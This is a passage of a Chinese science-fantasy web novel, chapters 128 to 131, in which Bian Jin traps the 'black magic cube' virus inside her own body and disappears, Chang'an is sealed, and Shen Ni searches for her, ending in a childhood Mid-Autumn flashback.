忘记了逃亡,忘记了争斗,所有人的目光都被这不人不鬼的女人吸引。
李渃元一半人类的躯体拖着庞大且杂乱的乱体,艰难地走到大殿前,站在龙椅之后。
多少年了,她第一次出现在她的兄弟姐妹和臣子面前。
横生的恐怖乱体,一眼就能看出她被黑魔方感染了。
而那半张和小魔种相似的脸,顿时让众人心有猜测。
莫非……她才是天子?
难怪谎称自己年幼得了怪病,容貌未变。
原来是被黑魔方感染了,无法以真面目示人。
那被拧掉脑袋的不过是她的替身!
帝国数次北伐,耗尽人力物力铲除黑魔方之时,黑魔方竟就在京师腹地,就是当朝天子!
前所未有的丑事,遗臭万年的荒唐!
李渃元目光扫向众人,从他们的眼神里看到了恐惧、震惊和鄙夷。
这些人在拼命冲撞大门,试图逃跑。
可想而知,若是让他们逃出去,帝国最大的秘密将会公之于众。
李渃元轻笑着。
你们不会有这样的机会了。
乱体在李渃元身后张开巨大的羽翼,如同乍然升起的乌云,要将整个大殿的人吞噬。
这一刻,走投无路的李渃元和黑魔方的思维终于拧成了一根绳。
你中有我,我中有你。
大殿外,李司听见里面的惨叫声更甚,立刻加快了轰击乱体的速度。
窦璇玑狠狠一刀砍下去,震得手腕发麻发痛,乱体终于有了松动了迹象。
大殿内,乱体生成的羽翼所刮之处疯狂吞噬,十多人顷刻之间被感染,玉璧共振,乱体蔓延。
韩复飞射了十多发毒弹,只能伤害乱体的表面。
这不是她以前见识过的黑魔方。
她并不知道,面前的黑魔方蕴藏着更为古老、深厚的力量。如果说她先前所遇的黑魔方是繁茂的枝叶,眼前的则是无法撼动的主杆。
小魔种的脑袋在韩复身后帮她预警乱体进攻的放向,韩复几次堪堪躲过,都是因为小魔种的提醒。
大殿内四下都是疾呼和暴走的声响,韩复听到一个急促的脚步向小魔种的脑袋踏过去。
小魔种看到了那只要蹬在她脸上的脚,还是一只沉重的义体。
没轻没重地一踩,她的脑袋恐怕不保。
小魔种紧紧闭上眼,想要忍下踩踏之时,韩复一臂将那人掀翻,拾起小魔种的脑袋,贴墙而立,再在面前张开一张高浓度的剧毒之网,谁也不敢靠近半步,连乱体都能腐蚀。
小魔种怔怔地看着韩复,无言片刻后道:
“阿复,我不是你的天子。”
韩复咬紧腮帮,“不,你是。”
过往种种涌上心头。
无论此人是真是假,是人是怪,对韩复而言,都是那一年带她离开死城,说“你以后便跟着我”的人。
就是她的天子.
巨型的乱体羽翼从左右两侧往中包围,冲着的方向正是躺在地上无法动弹的沈逆。
乱体羽翼就要触碰到沈逆之时,被两只手挡住。
边烬站在沈逆身前,半步不退。
李渃元后背炸出巨量的乱体,如黑色的浪潮,往乱体羽翼上凝聚。
羽翼陡然变得更大,铺天盖地地往前压。
血从边烬黑色手套的下沿汩汩流淌,她还是站在沈逆身前,依旧半步不退。
乱体在咯咯作响地发颤,忽然分出上下两条利刃,从边烬的腹部和背部刺入她的体内。
李渃元眼里贪婪的欣喜催动牙关不停地打在一起。
边烬的唇缝里是血,刺得更深,血溢得更多。
乱体甚至围住了她的逆芯。
李渃元兴奋大笑:“双S级双子星,我梦寐以求的身体,我的养料!我不会死,苍天也眷顾我!”
乱体在边烬的身体里肆意穿行,血淋淋落落地滴在脚边。
都这样了,为什么就是无法越过边烬用身体划出的死线?
就是无法沾到她身后的沈逆哪怕一丝一毫。
边烬像看可怜虫一般看着她。
“李渃元,你该看看你现在的模样。”
破碎的琉璃台面映出了李渃元的脸。
李渃元觉得奇怪,不对啊……我的半边脸呢?
多少个日日夜夜都在和黑魔方拉扯,就是为了保住那半张脸,生为人类仅存的证据。
可现下,她的脸已经完全被黑色的乱体笼罩,连眼珠都是一片恐怖的浓黑。
黑魔方已经彻底将她吞噬。
就在李渃元惊恐而怔忡,灵魂出现了一丝裂缝的这一刻,边烬安静地望向身后的沈逆,将她的身影刻进生命深处。
而后,启动了“计划模块”。
诱捕器,开启——
李司一脚踹开了含华殿的大门,一众狼狈不堪浑身烧灼的众人惨叫着扑出大殿。
他们身后更有一拨已经感染了黑魔方的也想冲出来,被李司的加特林轰成齑粉。
李司想要进殿,一个老头扑到她怀里,半边脸都被腐坏了,哭着道“金吾将军救救老夫”,李司又被挤了出来。
场面实在混乱,廷臣们鱼贯而出,其中又夹杂着感染者,李司在人潮的缝隙里看到了被乱体刺穿的边烬,心头一阵恶寒。
边烬也被感染了?
那不全完了?
下一刻,那乱体羽翼像被无法抗拒的吸力吸入边烬的身体里,李渃元感觉自己被凭空撕裂,黑魔方就要被拽出她的身体,黑魔方发出恐怖的厉啸又往她身体里逃回,还未附到她身上,再次被巨大的力量拉出去。
李渃元的身体被仿佛拉扯,生命从躯壳的裂缝中不受控制地逃逸。
是边烬,是边烬在用不知名的方法硬生生把黑魔方扯出李渃元的身体。
李渃元第一次感受到黑魔方在失控,在害怕,却又像失心疯般难以抗拒地涌入边烬的身体中。
黑潮从李渃元的脸庞上褪去,呈露在外的是皱纹满布的干瘪皮肤。
“不行——”
李渃元沙哑的声音在无助地祈求。
“不要……”
黑魔方从她的皮肤、骨骼、血肉中剥离,带走了她所有的生命力。
被黑魔方抛弃的李渃元,像一片干枯的秋叶,跪在含华殿正中。
黑魔方尖啸着、欢呼着,兴奋又充满了痛苦地轰入边烬的身体里,撞进了诱捕器内。
边烬感觉身体里充满了炙热的岩浆,所有的义体和模块都在呼啸,意识登时模糊。
诱捕系统在边烬的眼前映出一行字:
【诱捕黑魔方完成度:百分之六十八。】
【正在解析……】
【正在构建黑魔方诱捕地图……】
【正在诱捕三十公里内黑魔方分支……】
此刻的边烬已经无法阅读任何文字。
逆芯在狂震,脊柱疯狂地颤抖,黑气于她的双瞳中海浪般地蔓延。
李司和窦璇玑都看到了这一幕。
在超载边缘的边烬长发拧成了乱体的形状。
人群之中的李褚眼珠一转,惊恐地大喊:
“边烬弑君!和黑魔方融为一体了!”
三十公里,覆盖了整个长安城。
城内所有的黑魔方分支从四面八方冲向含华殿,像黑色的流星划过血腥的京师夜空,射穿了含华殿的围墙,炸入边烬的身体里。
如沈扶苏所料,这足以毁天灭地的能量只有边烬的身体能承受,唯有逆芯能装载。
巨大的冲击力将李司和窦璇玑等人掀飞,与此同时,窦璇玑居然看到了无法动弹的沈逆也被刮至半空。
窦璇玑立即接住她,护着她落到地面。
窦璇玑见沈逆胸前有个血口,脸色更是苍白如纸。
但沈逆已经感觉不到痛楚了。
她眼睁睁地看着边烬卷起长安城所有的黑魔方,冲入天际。
越来越远,忽地消失。
她的爱人就这样再次不见了。
沈逆心中被巨大的空虚占据。
身边的人是谁,在说什么,沈逆已经无从分辨,不想分辨。
在陷入沉沉的昏迷之前,沈逆望着边烬消失的彼方,心想,在策划这场蓄谋已久的离别时,师姐是否有过哪怕一刹那的不舍?
甚至无法怪她过往说过的话里恐有谎言。
因为她用自己为容器,在末日之前带走了黑魔方,为人类换回一个明天。
可是……
爱她的人被抛弃在昨日。
在沈逆意识消散于昏迷的暗夜时,遥远的北境一位沉默的黑客,启动了长安城城防静默模式。
刚刚修筑好的防护墙甚至还未拆开梯架,轰隆隆地上下合围。
长安城变成了一颗彻底摆脱黑魔方的巨型金属球,浸在还未散去的血味里,镶嵌在荒凉又广袤的大地上。
第129章
“你们的意思是,要我成为黑魔方本体的诱捕器?”
在计划还未开始的最初,边烬就问过计划的核心问题。
魏旷和沈扶苏也直言不讳地告诉她所有细节。
魏旷:“是的。黑魔方一定会迭代出智慧,无论迭代到什么程度,拥有智慧就说明它们拥有趋利避害的本性。如今黑魔方的分支散落在各地,不止是唐Pro,整片大陆到处都是黑魔方的踪迹,一个个去捕捉非常困难。
“所以,最好的方法就是率先诱捕黑魔方的本体。一旦诱捕到黑魔方本体,诱捕器就会开启封锁功能,将黑魔方彻底锁死在诱捕器之中。控制住了本体,便能更加轻易地诱惑其他分支,毕竟分支有追随本体的本能。
“诱捕系统还能构建诱捕地图,扫描最大半径三十公里。只要黑魔方分支进入到三十公里之内,就会被诱捕地图感知,
“利用诱捕器和黑魔方本体双重作用,诱捕散落在大陆各地的黑魔方分支,以你的能力或许不到五年的时间就能完成。百分百诱捕成功后,模块会自动锁死,启动最终的摧毁程序。到那时,我们便算是彻底战胜了黑魔方。
“这件事听上去好像很轻松,但除了你之外,没有人能承载诱捕器巨大的能量。即便是S级的战斗天赋者,都有可能在诱捕器到本体的一瞬间过载而亡。即便勉强能承受,也无法困住黑魔方本体。必须是你,只有你这个双S级战斗天赋者,才能成功完成这艰难的任务。”
沈扶苏:“补充说明一下,作为诱捕器的载体,需要在收集所有黑魔方病毒之后亲自开启最终的摧毁程序。到时,你必死无疑。”
听到“必死无疑”这四个字,边烬神色没什么变化。
那时她刚刚在死亡边缘挣扎回人间,已经算是死过一次的人了,死亡对她而言已经不再像未知的深渊。
而且,她有强烈的内驱力,极大的诱惑,主动走入那深渊。
以边烬的身体为诱捕器的载体,诱捕这片大陆上所有黑魔方病毒,再彻底摧毁,这便是沈扶苏和魏旷的计划。
边烬返回长安城的目的,是让沈逆修复身体,更换能够驱动诱捕器的玉璧,把黑魔方本体以及整个长安城内的黑魔方分支全都吸入诱捕器,带离长安。
三十公里的诱捕半径也是长安城的半径。
一口气带走黑魔方本体和长安城内所有的分支,然后利用城防彻底封闭城池,从此唐Pro帝国的京师再无病毒之患。
这片大陆需要纯净的火种,而长安,便是她们选择的火种。
这项计划里,边烬的确利用了沈逆。
如果沈逆再成熟一些,或许会发现诱捕器的存在,会发现边烬正在执行的计划是以她的生命为代价。
在沈扶苏和魏旷看来,沈逆还是太年轻了,陷入了对边烬炙热又纯粹的情感之中,看不得边烬吃苦,无法拒绝她的请求,迫切想要修复她,十多年的心血打造出来的惊世之作想都没想就予她所用。完全没想到这本身就是个陷阱,是条无法挽回的死路。
……
李司见沈逆没动静了,吓得不轻。
“不会,死了吧?”
窦璇玑查看了她的伤口,虽未见到沈逆受伤的过程,但这伤口的位置和手法她太熟悉了。和当初边烬刺她那一刀一模一样。
窦璇玑道:“没关系的,这伤看似严重,实则没有伤及要害,休息几日便没事了。”
李司听她这么说,稍微松了口气。
窦璇玑又观察了一番,道:“怎么感觉还给上了麻醉?不然不会昏得这么彻底,可能武器上有麻药。”
含华殿已经塌成一片废墟,李司见那殿中的情形怪得很,她让窦璇玑照顾沈逆,自己步入殿中指挥下属把伤员抬走,口中不停,目光却死死黏在那具枯尸之上。
那具尸体坐在倾塌的大殿正中,脑袋微垂,皮肤像死木的外皮,黝黑龟裂,死气沉沉。
这人是谁?
方才李司只窥探到一角,此人和边烬相斗,浑身的黑魔方乱体被边烬带走后便成了这副模样。
那,边烬又去了何处?
李司抬头仰望向边烬消失的地方。
此刻她看不见夜空也看不见边烬,看到的只有一层黑色的金属外壳。那是城防启动后的保护罩。
那时的李司还不知道长安城内所有黑魔方病毒已经被边烬带走,还纳闷,城防怎么就开启了,现在人形的异兽这般凶,城池一合,岂不是逃无可逃,大家都闷在城中等死么?
呼——
李司的思绪被眼前的枯尸拉了回来。
那枯尸居然还不是尸,她还有最后一口气,还在呼吸。
李司好奇问她:“你是谁?”
李渃元怔木的双眸一动不动。
我是谁?
我是谁……
不远处的韩复收起了毒网,依旧紧抱着小魔种的脑袋。
韩复问她:“身体呢?”
小魔种看着已经被剧毒腐蚀又被慌忙的人群踏烂的躯体,幽然道:“已经损毁,不必寻了。”
韩复习惯性地遵从她的指令。
“喏。”
李渃元望着韩复带小魔种离去的背影,眼眸之中残留着一丝渴望,生命在无言之中凝滞于此。
曾经的天之骄子就这样满身尘埃,无名无姓,在一片废墟之中走到了时间的尽头。
……
李司在李渃元生命的最后一刻,干了件大事儿。
方才韩复带着小魔种的脑袋离开的场面,李司也看到了,真是莫名其妙,韩复怎么敢把天子的脑袋带走。
李司满脑子的疑惑,再去瞧那枯尸,心里有种感觉左冲右突的。
那枯尸穿着皇室的寝衣,莫名出现在含华殿中,吏部那几人还对她虎视眈眈,便知其身份非同小可。
李司黑入了枯尸的记忆模块,火速把记忆复制出来。
自从沈逆教她这项黑客技术之后,李司时常拿家里的护院和下属练手,屡试不爽。
有时候遇到个人防火墙格外严实的,确实黑不进去,但眼前这将死之人却没有难度。
唯一的问题是记忆有可能缺失和损坏,不过这不要紧,可以修复。
复制完记忆后,枯尸彻底断了气,李司立即毁掉记忆模块,再让下属强硬地把尸体带走,不让李褚他们沾手。
李褚对李司的行为相当不满,可碍于李司率领金吾卫及时赶到把他们全部救出来,可谓是一跃成为整个帝国的大恩人,这天大的功劳,李褚即便对她有一肚子的怨言,也没立场开口。
此刻,殿外。
窦璇玑一直守在昏迷的沈逆身边,等着李司回来。
忽然有个武卫打扮的人急匆匆地跑过来跟她说李司有麻烦,叫窦璇玑快点进去帮她。
窦璇玑听到李司出事儿,有些着急。
含华殿虽然已经被毁了一半,可是倾塌的墙面依旧有一人多高,在殿外的她看不清殿内的情况。
窦璇玑刚走了两步,忽然意识到不对。
李司就算遇到事了,也肯定会让金吾卫来通知她,怎么会叫个陌生的武卫传话?
一回头,见身后有两个随从打扮的人正鬼鬼祟祟地靠近沈逆。
这二人都是李褚的人。
含华殿惊变,李褚立即嗅到了风雨突变的气味,他完全没想到,自己又一次迎来继天立极的良机。
帝星陨落,边烬消失,靖安侯沈逆可是唯一的双S级天赋者。
之后帝国政局会如何转变,靖安侯当是至关重要的人物。
此刻趁她昏厥把她掳走、控制,无论是对往后登基之路,或是报仇雪恨,便是不复重来的最佳时刻!
窦璇玑见这帮匹夫居然敢在她眼皮底下算计,把她当傻子耍,怒从心起,就要抽出电刃时,他俩突然哀嚎一声,被身后人蹬飞。
踢人者正是曾倾洛。
曾倾洛晃了晃踹人的腿。她自己试着修了一下,不太管用,依旧使不上劲儿,不过对付这两只软脚虾足够了。
沈逆从侯府出来时曾倾洛就发现了,立刻跟着一块儿出门,怕小师姐出事。
没想到沈逆骑上飞艇就走,曾倾洛驾着马车紧随其后,一路上看到长安城的变乱,心里更加不安。
勉强跟到了大明宫前,却慢了一步,只能眼睁睁地看着沈逆和丽景门的人一块儿进了宫中,而她被拒之门外,转了又转找不到进去的法子,只能在外焦急地等待。
含华殿里发生的事儿她完全没看到,直到一群满身是伤的朝臣跑出大明宫,她才逆着人群进来。
一进来就看到那两鼠辈试图对沈逆不利。
窦璇玑生气,又上去补了两脚,踩得那两人吱哇乱叫。
李司这会儿终于出来了,三人合计,先把沈逆送回侯府,今晚就守在侯府,免得再有人想趁虚而入伤害沈逆。
回侯府的一路上,看城中依旧都是血迹和尸体,却和来时完全不同了。
人形异兽全部消失,只剩南衙护卫队在收拾尸体,寻找伤者。
李司道:“感觉整个长安城变得好安静,前所未有的安静。”
窦璇玑电刃不离手,依旧警惕着四周,生怕再来一位想用人头换车票的怪物。
“是,的确安静到反常。”
没有呼喊声没有尖叫声,只有因为亲人被杀的哭声回荡在夜空中。
方才大殿里发生的一切,李司跟曾倾洛说了。
曾倾洛难过地望着穹顶,双眸亮晶晶的。
“黑魔方会不会被大师姐带走了?”
李司:“怎么可能。”
自己说完,回忆了一遍含华殿内发生的事,以及边烬单独和她谈话助她登基的过程,再看现下的长安城,又觉得不是不可能。
方才李司从那群灰头土脸的老头口中,听到边烬拧断了李渃元脑袋这耸人听闻的事儿。
无论那个小李渃元究竟是什么身份,能当着王爷们和满朝文武的面拧掉天子的脑袋,古往今来恐怕也就这位边女郎做得出来了。
这么一想,边烬把黑魔方全部带走也没什么稀奇的。
那可是边烬啊。
可是,李司又有些忧虑。
心口蔓延着独活的内疚。
为了护住这天地,连命都可以不要的边烬,此时此刻还活着吗?
……
李司的马车载着众人回到侯府,却见侯府门前围着一排陌生人。
曾倾洛立即跳下马车,借着侯府门前的灯光,发现这些人她都见过,是跟随在李极身边的武卫!
李极的人为什么在此?
曾倾洛立刻警觉地抽出武器。
莫非是想趁着师姐们不在,强占侯府,绑架人质?
曾倾洛才刚刚亮出兵器,就听到一声嗤笑。
李极本人靠在武卫身后的门边,冷眼看着曾倾洛。
“终于回来了?还拔枪了,不会是觉得以你们这几个低级天赋者,能抵挡得了我手下一众S级的干将吧?”
李极裹着一件松散又风情的红袍,双臂交叉护在腰间,慢悠悠地走到曾倾洛面前。
曾倾洛立刻抬起手中的枪,抵住李极的额头。
李极的脸庞笼罩在冰凉的月色之中,月光为她勾勒出一层冰蓝色的外壳。
即便脸色依旧充满了病态,却有种被柔化的错觉。
仿佛她被曾倾洛的枪指着脑袋,也甘之如饴似的。
“来啊。”
李极顶着曾倾洛的枪。
“你来杀了我嘛。”
不像是真的要曾倾洛杀她,反而像在撒娇。
曾倾洛正想道“你以为我不敢”时,万姑姑从门内探出脑袋。
曾倾洛和万姑姑对视,满心不解。
李极趁机围困侯府,为什么万姑姑还能行动自如?
万姑姑小小声道:“那个……曾女郎,安王殿下是来保护侯府的。”
曾倾洛:?
万姑姑说:“先前突然有几个恐怖的异兽要闯进府中,幸好安王殿下及时赶到,否则我们全府上下都会性命之忧。”
曾倾洛一时哑然,居然是这样。
李极才不会承认她是发现长安城内情况突变,担忧曾倾洛的安危,不顾脸面硬是带人过来想保护曾倾洛。
没想到曾倾洛根本不在府中,也没人知道她去了哪里。
尊贵的安王殿下还因此发了好大一通脾气。
下属见她这般生气想劝走她,她却不走,硬是等到曾倾洛回来。
曾倾洛握着枪的手有些不安地松了松。
李极“哼”一声,扬起下巴看向别处。
“还要杀我吗?不杀我走了。”
第130章
李极这娇蛮做派让曾倾洛不知如何回应。
李司在旁干咳一声,道:“我们先送沈逆进去。”
她和窦璇玑一走,万姑姑等人也识趣地离开。
曾倾洛记挂着沈逆的安危,想从李极身边经过,被李极一把拽住手腕。
“我要成亲了。”
李极的话说得突然,紧紧盯着曾倾洛的眼睛,试图从她的眼眸之中找到一丝在意的痕迹。
曾倾洛将她手挥开,本想说“与我何干”,话到嘴边却不知为何没能真的说出口,默然片刻后,丢出个不冷不热的两个字:
“恭喜”。
没有在意的痕迹,依旧是冷淡和疏离。
李极堵着她,“我救了侯府上下,你就这样对我?”
李极贴得太近,又是那双迫切想要从她身上得到反馈,得到关注,得到爱意的委屈双眸,就好像她亏欠了李极几世的情缘,这一世非要纠缠她讨回去似的。
曾倾洛心有些乱,横着手臂抵在李极身前,不想那具柔软滚烫的身躯贴着自己,眉头紧紧地锁着,看向远处道:
“那安王殿下想让下官怎么做?”
在救了靖安侯府,等待曾倾洛回来的整个过程中,李极的确想过无数种可能。
曾倾洛或许会对她感激,感动,刮目相看……当然,以上的情况微乎其微,最有可能的就是继续冷待,就是眼前的情况。
李极想到了,可是当想象成了真实的画面,明明白白地摆在眼前,还是在一瞬间刺痛她的心。
李极:“你知道我要和谁成亲吗?”
空气中还是飘荡着血腥味和焚烧过后的焦臭味,曾倾洛有点想咳嗽。
“李极。”曾倾洛垂下眼眸,那是一种回避的神色,“我们从来都不是一路人。”
李极打断她的话,“我要和你的第五姐姐成亲了。”
曾倾洛在诧异中抬头。
目光相撞间,李极终于如愿以偿得到了她的注视。
自嘲的情绪在心中翻涌。
果然,她说成亲,曾倾洛毫不在意,但说到第五阙,她便着急了。
李极的心连着一直没能好明白的伤口一块儿抽痛着。
曾倾洛反拽住她的手腕,“你威胁了第五阙?”
李极觉得好笑地“哈”了一声:“你还喜欢她。”
忽然被戳穿了曾经暗暗心悦的旧事,曾倾洛有点羞恼,未经多虑直接回答道:
“没有。”
说完后略为一顿,没想到自己居然会真情实感回答李极。
正懊恼为何要对李极说出真心话时,见李极就任她用力执着腕部,方才咄咄逼人的眼神也软了,声音变得温醇,像在祈求一个迫切想要的结果。
李极:“那你喜欢我吗?”
李极这般狂悖不羁的性子,偶尔的专注与温柔,让曾倾洛忽然产生了一种踏空感,陷入了某种说不上来的情绪之中。
“不……”
这次的回答言语上依旧坚定直接,但内心奇怪的摇摆只有她自己知道。
得到了这铁石心肠的回应,李极的温柔与祈求立即不见,眼眸尖锐,一把甩开了曾倾洛。
“那你管我是不是威胁了谁?”
“你……”
曾倾洛实在很不能理解她的喜怒无常。
“身为天潢贵胄这般蛮不讲理,我与第五姐姐虽、虽没那种情谊,可也是一同在北境并肩作战的战友,你若威胁她,我自然——”
李极:“自然要来杀我?为了别人来杀我是么,随时欢迎。”
迎着李极血红的眼睛,曾倾洛胸口起伏了一下,没能说出任何一个字。
李极负气调头就走,走了好几步身后的女人都没有要追上来的意思,愤懑之下只能走得更快。
李极压着腰间的伤口,快步走出靖安侯府,万姑姑等人恭送安王的时候都心惊胆战。
安王殿下先前看不到人,很不乐意,说是要在府中等曾女郎。
怎么这会儿等到人了,更不高兴了?
在靖安侯府短短两个时辰,情绪变了八百次。
绝色美人的脾气是不是都这么难琢磨?
无论如何,李极走了,无论是气呼呼地走还是开开心心地走,万姑姑总算送走了这尊大佛。
只是很忐忑。
万姑姑问曾倾洛,侯君如何伤成那样,夫人怎么没跟着一起回来。
曾倾洛不知该如何与万姑姑说,支吾了几句,万姑姑握住她的手,眼睛红红的,已经大致猜到,不让她说了。
万姑姑不停地喟叹,“我们侯君……该怎么办啊。”.
沈逆毫无征兆地醒来。
她躺在家中寝屋里,熟悉的场景乍然扎入眼底,被空荡荡的冷色赋予了一种陌生感。
往身边一摸,空的。
沈逆翻身而起,心口的伤处被牵连,疼痛让额头上蒙了一层冷汗。
青丝散落,满眼惶惶。
——我一直以来都是在利用她罢了,又怎会在意她的生死。
含华殿上的一幕幕回到心上,边烬的声音犹在耳边。
沈逆抓着伤口,沁出的鲜血滴落在床面上。
疼痛让她清醒。
这是师姐给她的伤口,不是梦。
沈逆拢了寝衣,腰带也未系,下床。
双腿软得失去控制,沈逆身子往下跌,及时撑着矮案,没真的跪下去。
矮案倾翻的声响引来一直守在院中的三人。
李司给沈逆缝合完伤口后没走,窦璇玑也留在这儿,与曾倾洛坐在院中喝茶,一同收集各方的情况,汇总在一起。想知道如今长安城究竟是何局面,讨论着下一步该如何走。
寸步不离,自然也是怕有人趁虚而入来害沈逆。
听到屋内动静,三人立即推开门,还未说半句话,就被冲出来的沈逆撞散。
三人竟追不上一个受了伤的病号。
沈逆一阵风般坐上飞艇,直接升空,眨眼不见。
李司揉着被撞痛的肩膀骂道:“臭狐狸,到底有没有受伤啊,溜得忒快了!”
而窦璇玑和曾倾洛两人顾不上多说,迅速上马车。
李司:……
无语,只好道:“你们上我的马车,我马车改装过,能跟得上她。”
的确勉强跟得上,一路跟着沈逆到了南城门。
此刻天子驾崩未过一日,长安城进入到前所未有的阶段,群龙无首,内廷还未反应过来,就连金吾卫将军李司本人都在靖安侯府待了一日,南城门这头未有执勤护卫。
李司远远地看沈逆的飞艇降落,还纳闷。
“她要干嘛,静默模式下谁都不能出城门。”
没想到沈逆刷了脸,一扇小门打开,沈逆轻松出城之后小门立即合上。
李司:?
曾倾洛道:“城防是小师姐设计的,她肯定为自己留了权限。”
李司:“……我看看这倒霉的城防系统能不能破解。”
李司上前摸了半天,连刷脸的地儿在哪都没找到。
迎着窦璇玑沉默的眼神,李司尴尬地清了清喉咙说:“还挺隐蔽……”
窦璇玑拿着电刃砍了好几下,电花差点迸溅到眼睛里,城防高墙毫无损伤。
倒是对城防放心了一些,坚固得很。
只是,沈逆的状况让她担忧。
曾倾洛也是愁眉难展,“城外不知是何情况,若大师姐真的带走了黑魔方,城外岂不是凶险非常?”
曾倾洛的话让窦璇玑焦虑地咬住唇,都要将自己的嘴唇咬破,李司不舍地点了一下她的唇,提醒她别伤自己。
李司道:“别急,我去要个出城的权限,应该要得来,你们在此等我一会儿。”.
滴——
滴——
距离边烬的定位所在越来越近。
沈逆将飞艇拉到最大速度,贴着湖面飞过,激起一串水花。
子夜的野道充斥着各种声响,飞艇的轰鸣切开夜的诡谲。
当她越靠近目的地,心跳就越是难以克制。
终于,飞艇悬浮在一片巨大的垃圾场之上。
打开灯往下探照,竟不是垃圾场,而是一眼望不到头的乱体。
这些乱体看上去已经从主体上剥离,死去了。
沈逆心口咚咚地跳,头皮发麻。
飞艇降下,她从飞艇下来,亲手摸向乱体。
僵冷的触感在轻颤的掌心里蔓延。
死亡与生命的相悖,前所未有地清晰。
沈逆穿上外骨骼战衣往下挖,往四周挖,一直挖,挖了不知多久,挖到浑身沾满了污秽,终于挖到了定位器。
滴——
滴——
她已经和定位重合,师姐本该在这儿的。
可是,师姐呢?
师姐呢?
沈逆跪在乱体堆砌成的山巅呼喊师姐,喊到声嘶力竭,没有得到任何的回应。
寂寞的回声告诉她,这里只有她一个人。
……
城中,李司大吵一架还拔了枪,才从最高研发署那头弄到了出城的权限,但也跟了一队监督的人过来,只许她一个人出城办事,为期两个时辰,过时不候。
城外现在是何情况也未可知,单独出行风险很大。
窦璇玑欲言又止,李司对她道:“放心,肯定把你的侯君姐姐带回来。”
李司就要出城,忽然感觉头顶的苍穹有变化。
星星点点的光在金属保护罩上闪烁着,一条仿真星汉横贯穹顶。
城中还没入睡的人在这一刻抬起头,目睹了全新的银河点亮的瞬间。
城外,心力交瘁的沈逆躺在乱体之上,失魂落魄。
与她模块共通的城防系统传来提示——
【星辰系统已启动】
璀璨恢弘的光驱赶了人们心里因变故而起的惶遽。
深远的虚拟宇宙反而带来了踏实感,一种活在此刻便是奇迹的踏实。
此刻仰头望向苍穹的人都被这条星河吸引,这些日子刀光剑影生死一瞬的感慨浮上心头。
她们从未如此刻这般庆幸,渺小如尘土的自己还活着,还能哭,还能笑,还能因为一瞬的悸动而泪湿双眼。
——无人拨云,永远看不到星星。我不护这天地,不如烂在死城。
边烬当初的那句话像潮水,汹涌地从沈逆的胸口漫过,窒息感淤堵在心间。
沈逆的手压在伤口上,热泪从黑沉的双眸中滑落。
“这是我为你造的星星。师姐……”
零碎而无力的呢喃很快被风吹散,化成秋日的碎片,融入萧瑟的细雨之中。
130-140
第131章
最后一丝力气散尽,沈逆没能找到边烬还活着的证据。
衣衫被寒冷的雨水浸透。
伤让她体力大减,这精妙的操控手法,不得不让人怀疑是故意为之。
她倒在乱体上喘着气,看着口中呵出白雾。
乱体坚硬,皮肤被压得很痛。
可是一想到这些乱体有可能属于师姐,她又不忍心怪罪。
意识渐渐下沉,被梦境捕捉。
梦里有几个零碎的片段。
沈逆听边烬说她很小的时候就会走路了,比同龄稚儿早了两三个月,但不爱走,还特别喜欢哭,不好哄,边烬一撒手就闹,边烬只好时常将她抱在怀中,去哪儿都尽量带着。
那时候沈逆小小的手总爱抓取一些事物,吃穿住用行各种器物都被她抓了个遍。
最最喜欢的还是边烬,握着边烬的手一握就是一晚上,但凡给她握着就不哭不闹,变回听话宝宝。
彼时边烬也才是个半大点的孩子,每日师门课业繁重,但再忙都留给她一只手,让她安心入睡。
当时师门长辈都说:“这孩子喜欢你,你俩有缘。”
孤身于世,即便有师门照应,偶尔恍然,依旧有种此生如寄不知所归的孤单感漫上心头。
这不知从何而来的小孩如此依赖她,喜欢她,离不开她。
两人相依相伴,便成了家。
边烬每每在外办差,将回双极楼时,都会跟沈逆提前说一句:
我要回家了。
……
在浑浑黑暗的梦境里行走。
沈逆举目四望,寻找她和边烬的家。
细雨成线,淅零零地飘洒在她的眉眼间。
眼眸中映出一轮黄灿灿的圆月。
那是个中秋节,是沈逆九岁的那年中秋。
万家团圆的节日,偏偏有想争十大门派之首虚名的贼人偷偷寻上山来找师门晦气。
边烬将那些人利落地清扫,师妹师弟们继续安心过中秋。
沈逆捻了一枚月饼,是师姐喜欢的蛋黄口味,面上还洒着些桂花碎。
师姐肯定会喜欢吃。
开心地转了两圈,却没找到师姐的影子。
沈逆在大院里钻来钻去,问了许多人,大家都在饮酒吃肉,完全没注意师姐不见了。
最后有人说师姐好像回屋了。
大过节的,怎么可以自己在屋子里待着?
沈逆寻来盘子,叠了三枚月饼,蹦蹦跶跶地往师姐的院子去,想要敲门,刚叩到门上门就开了。
没锁。
门缓缓张开,浓郁的血腥味从屋内往外蔓延。
沈逆好奇地从窄窄的门缝间看进去。
边烬坐在落地灯前,正在处理自己腰间的伤口。
那深可见骨的伤口,吓没了沈逆全程挂在嘴角的笑容。
沈逆后退半步,但依旧紧紧捏着盘子,没让它掉。
边烬发现了她,忍疼而拧起的眼眸,在看到沈逆的那一刻松动了,慢慢变成了温柔的笑容。
“吓着你了。”
边烬鬓角滑落一道发亮的汗水,微笑时眼睫微动,灯光落在睫毛上,点点碎金般闪动。
沈逆其实是被吓着了,但更多的是不知所措的心疼。她摇摇头,把门关上,走到边烬身边,递给她月饼。
“这是我给你留的,你最喜欢吃的蛋黄馅儿。她们吃得太快了……”
边烬把长裙下摆放下,遮住伤口,净手后捻起一块月饼。
“怕我吃不着?”
沈逆点头,目光往她伤口的方向看。
“很痛吧师姐……你为什么要躲起来治伤?”
边烬咬一口月饼,“好吃。”
“是不想破坏节日的气氛,让大家担心么?可是这节日每年都会有啊。”
边烬用指骨夹了一下沈逆的脸。
沈逆:“痛死啦!”
边烬道:“人小鬼大。”
沈逆捂着被夹红的脸蛋“哼”了一下,“我担心你啊,好心没好报。”
夜空忽然被点亮。
无数的绚烂的色彩炸上天际。
师兄师姐们正在院子里放烟火。
从这儿的窗口能看到双极楼的大院,边烬凝望着院中的热闹,半晌,缓缓开口:
“并不是每年都会有。”
沈逆站到她身边,双臂搭在窗沿上,胳膊上枕个小脑袋,侧着脸看向长身玉立的师姐,还是不太懂。
“不就是个普通的中秋么?”
边烬笑了,纤长的手覆在她的后背上,轻轻抚过。
“但我就是贪恋这份寻常。”
那时的沈逆读不懂边烬对世间复杂的情绪,又过十年,经历过离别的寂寞和失去的苦痛,熬着一个个漫长的失眠之夜,将记忆里的所有关于边烬的点滴再翻出来仔细品味时,沈逆才渐渐明白相聚的不易。
无愁无痛的日子,便是人间难得。
转眼,边烬曾经捧在手心里呵护的双极楼,在时光里无情地凋零。
那场聚会,当她们再次回到双极楼,没有欢笑没有烟火,只有满眼的物是人非。
“你的一切,都会回来的。”
